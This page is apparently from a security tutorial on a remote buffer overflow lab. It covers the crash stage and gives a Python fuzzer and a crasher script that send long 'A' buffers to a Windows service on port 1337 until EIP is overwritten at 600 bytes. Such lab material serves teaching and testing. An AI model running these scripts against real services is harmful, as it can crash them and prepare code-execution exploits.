> For the complete documentation index, see [llms.txt](https://repo.4pfsec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://repo.4pfsec.com/buffer-overflow/remote-buffer-overflow/crashing-the-application.md).

# Crashing the Application

In order to exploit the target application, we need to crash the application and be able to overwrite the EIP with our own values.

## Fuzzing the Application

This step can be skipped for some applications as we already know the buffer size that causes the crash.

### Fuzzer.py

```
#!/usr/bin/env python3

import socket, time, sys

ip = "windows.box"

port = 1337
timeout = 5
prefix = "OVERFLOW10 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)
```

### Fuzzing

```
python3 fuzzer.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc5kxL1YhB-tGX34xE%2F-Mdc73K-bI19oZnpNySF%2Fimage.png?alt=media\&token=36707b95-5e74-401c-ac8c-8c482189700f)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc5kxL1YhB-tGX34xE%2F-Mdc75hr77UlmxOd4_VD%2Fimage.png?alt=media\&token=664d5669-59b2-413d-9a4d-87720db6d561)

The fuzzer tells us that the program crashed when**`600 bytes`**was sent in as the buffer size. We also notice that the `EIP` has been overwritten with **`\x41`**.

## Crashing the Application

This step can be used to verify the value from the fuzzing process.

### Crasher.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    buffer = prefix + "A" * 600

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

### Crashing

```
python crasher.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc7p5Zp_KU4EpCg7ju%2F-Mdc88DqFKwBpqjqqLxU%2Fimage.png?alt=media\&token=50358075-b19e-4e23-ba48-f5724931626f)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc7p5Zp_KU4EpCg7ju%2F-Mdc8BLYsR6crFukWDd_%2Fimage.png?alt=media\&token=1c724962-583e-4f02-8651-09f32a1fac1a)

Once `Crasher.py` is ran, notice that the target application crashes and the `EIP` is overwritten with **`\x41`**. This confirms that **`600 bytes`** is indeed the buffer size that causes the target application to crash.